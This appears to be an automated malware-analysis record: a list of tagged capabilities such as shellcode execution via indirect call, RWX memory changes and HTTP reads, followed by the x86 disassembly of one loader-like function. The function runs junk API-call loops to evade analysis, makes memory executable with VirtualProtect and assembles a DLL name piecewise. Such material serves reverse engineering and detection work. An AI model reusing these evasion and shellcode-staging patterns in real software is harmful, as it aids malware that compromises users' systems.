Function at 0x805130
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Copy file
Create mailslot
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Query environment variable
Read .ini file
Receive http response

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x8076bc
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2e00
call fcn.0040cd20
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_CharUpperBuffA]
xor ebx, ebx
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x1e169
jge 0x80517e
push ebx
push ebx
call edi
call ebp
cmp esi, 0x1e9b1d8e
jle 0x80519a
cmp dword [esp + 0x14], 0xc095d8
je 0x80519a
cmp dword [esp + 0x2c], 0x903b058
jne 0x8051a3
inc esi
cmp esi, 0x98a5a
jl 0x805170
cmp dword [0x265a2a8], 0xcf8
jne 0x805303
push ebx
push ebx
push ebx
call fcn.00404e62
push 0x4033e0
push ebx
call fcn.00404e62
push ebx
push ebx
push ebx
push ebx
call fcn.00404b5a
push ebx
push ebx
call fcn.0040447f
push ebx
call fcn.00404a1f
push ebx
call fcn.00404fd7
add esp, 0x34
mov dword [esp + 0x70], ebx
mov dword [esp + 0x74], ebx
mov dword [esp + 0x78], ebx
mov dword [esp + 0x2e1c], ebx
mov edi, 0xf
xor eax, eax
mov dword [esp + 0x34], edi
mov dword [esp + 0x30], ebx
mov byte [esp + 0x20], 0
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x805210
sub eax, edx
mov esi, eax
cmp esi, 0xfffffffe
jbe 0x80522a
push 0x40363c
call fcn.004041cb
cmp esi, edi
jbe 0x80523c
push ebx
push esi
lea eax, [esp + 0x28]
push eax
call fcn.00403ed0
jmp 0x805249
cmp esi, ebx
jne 0x80524b
mov dword [esp + 0x30], ebx
mov byte [esp + 0x20], 0
cmp esi, ebx
seta al
mov ebp, 0x10
test al, al
je 0x805286
mov eax, dword [esp + 0x20]
cmp dword [esp + 0x34], ebp
jae 0x805265
lea eax, [esp + 0x20]
push esi
push ebx
push eax
call fcn.0040af30
mov eax, dword [esp + 0x2c]
add esp, 0xc
mov dword [esp + 0x30], esi
cmp dword [esp + 0x34], ebp
jae 0x805282
lea eax, [esp + 0x20]
mov byte [eax + esi], 0
cmp dword [esp + 0x34], ebp
jb 0x805299
mov ecx, dword [esp + 0x20]
push ecx
call fcn.00404f1f
add esp, 4
mov dword [esp + 0x60], ebx
mov dword [esp + 0x64], ebx
mov dword [esp + 0x68], ebx
mov byte [esp + 0x2e1c], 2
mov dword [esp + 0x34], edi
mov edi, 1
mov eax, 0x4033ec
lea esi, [esp + 0x20]
mov dword [esp + 0x30], ebx
mov byte [esp + 0x20], 0
call fcn.00403b40
lea ecx, [esp + 0x60]
mov byte [esp + 0x2e1c], 3
call fcn.00403ac0
mov ecx, dword [esp + 0x64]
mov edx, esi
push edx
call fcn.00404080
cmp dword [esp + 0x34], ebp
jb 0x8052fd
mov eax, dword [esp + 0x20]
push eax
call fcn.00404f1f
add esp, 4
push ebx
call fcn.00404e10
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
xor esi, esi
cmp esi, 0x408
jne 0x80532a
mov eax, 0x5d1
add dword [0x265a2a8], eax
cmp dword [0x265a2a8], 3
jne 0x805349
push 0
call edi
push 0
push 0
call ebx
push 0
lea ecx, [esp + 0x614]
push ecx
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x805317
call fcn.00804e80
mov eax, dword [0x265a2a8]
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
test eax, eax
je 0x8053c8
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebp, dword [sym.imp.KERNEL32.dll_SetThreadUILanguage]
cmp eax, 0xfe
jne 0x80539f
push 0
call ebx
push 0
call ebp
xor edx, edx
lea ecx, [esp + 0x14]
push ecx
push edx
push edx
lea eax, [esp + 0x21c]
push eax
push edx
mov dword [esp + 0x2c], edx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
call fcn.00804ec0
mov eax, dword [0x265a2a8]
cmp eax, 0x29
jne 0x8053c3
call edi
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
mov eax, dword [0x265a2a8]
inc esi
cmp esi, eax
jb 0x805374
cmp eax, 0x70
jne 0x80546c
push 0
lea ecx, [esp + 0x614]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0x4033f0
push 0x40340c
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
mov esi, dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
push 0
call esi
call edi
call edi
push 0x40341c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
lea edx, [esp + 0x14]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
push 0
push 0
lea eax, [esp + 0xe18]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
lea ecx, [esp + 0x1a14]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0
push 0
call esi
push 0x403448
push 0x403518
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov eax, dword [0x265a2a8]
mov ebx, dword [sym.imp.KERNEL32.dll_SetConsoleMode]
mov esi, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ebp, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov dword [esp + 0x14], 0x9682ab
lea esp, [esp]
cmp eax, 3
jne 0x8054c6
push 0
lea edx, [esp + 0x90]
push edx
push 0
lea eax, [esp + 0x21c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
lea ecx, [esp + 0xd0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov eax, dword [0x265a2a8]
cmp eax, 0xdf
jne 0x805735
push 0x403424
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
xor edx, edx
lea ecx, [esp + 0x84]
push ecx
push edx
push edx
lea eax, [esp + 0x21c]
push eax
push edx
mov dword [esp + 0x2c], edx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
push 0x403504
push 0x403560
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
push 0
push 0
push 0
call esi
lea ecx, [esp + 0x98]
push ecx
call edi
push 0
push 0
lea edx, [esp + 0x98]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push 0
lea eax, [esp + 0x54]
push eax
call ebp
push 0
push 0
push 0
push 0x4035a4
call dword [sym.imp.KERNEL32.dll_CreateMailslotW]
mov ecx, dword [esp + 0x50]
push ecx
push 0
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
push 0
lea edx, [esp + 0x2214]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [esp + 0x88]
push eax
push 0
lea ecx, [esp + 0x28]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push 0x4035d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
push 0
lea edx, [esp + 0x98]
push edx
call ebp
push 0
lea eax, [esp + 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
lea ecx, [esp + 0x5c]
push ecx
call edi
lea edx, [esp + 0x58]
push edx
push 0
lea eax, [esp + 0x1618]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByte]
lea ecx, [esp + 0x4c]
push ecx
push 0x4035d8
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
xor eax, eax
lea edx, [esp + 0x70]
push edx
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], eax
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapWalk]
lea eax, [esp + 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
lea ecx, [esp + 0x1a14]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
lea edx, [esp + 0xe14]
push edx
push 0x4035f0
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea eax, [esp + 0x614]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x2614]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x30
lea eax, [esp + 0xa4]
push 0
push eax
mov dword [esp + 0xa8], 0
call fcn.00406360
add esp, 0xc
push 0
lea ecx, [esp + 0xa0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov eax, dword [0x265a2a8]
dec dword [esp + 0x14]
jne 0x805490
mov edi, dword [sym.imp.USER32.dll_CharUpperW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x9c3c674
push 0
call edi
push 0
call ebx
dec esi
jne 0x805750
mov esi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edi, 0x25887
jmp 0x805770
cmp dword [0x265a2a8], 0x222
jne 0x805780
push 0
call esi
dec edi
jne 0x805770
mov eax, dword [0x265a2a8]
mov ecx, dword [0x82640c]
lea edx, [esp + 0x1c]
push edx
push 0x40
push eax
push ecx
mov byte [0x821678], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.008050e0
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
xor esi, esi
cmp dword [0x265a2a8], 0xba
jne 0x8057ca
lea edx, [esp + 0x1c]
push edx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x8057d7
call fcn.00804ea0
inc esi
cmp esi, 0x1605a
jl 0x8057b1
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov edi, dword [sym.imp.ADVAPI32.dll_RevertToSelf]
mov ebx, 0xf2b8b
cmp dword [0x265a2a8], 0x21
jne 0x805806
push 0
push 0
push 0
push 0
call esi
call edi
dec ebx
jne 0x8057f1
mov eax, 0x73
mov ecx, 0x6d
mov word [0x26592ba], ax
mov word [0x26592be], cx
xor ecx, ecx
mov edx, 0x33
mov eax, 0x67
mov word [0x26592c2], dx
mov word [0x26592ce], cx
mov word [0x26592c0], ax
mov ecx, 0x69
mov edx, 0x6d
mov eax, 0x6c
push 0x26592b8
mov dword [0x26592c8], 0x6c0064
mov word [0x26592bc], cx
mov word [0x26592b8], dx
mov word [0x26592cc], ax
mov dword [0x26592c4], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x265a2a8], 0xc30
jne 0x805901
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_GetACP]
push ebx
lea eax, [esp + 0x20]
push eax
push ebx
lea ecx, [esp + 0x61c]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push ebx
lea edx, [esp + 0xe14]
push edx
lea eax, [esp + 0x54]
push eax
lea ecx, [esp + 0x64]
push ecx
lea edx, [esp + 0x6c]
push edx
lea eax, [esp + 0x68]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommMask]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov ecx, dword [esp + 0x2e14]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret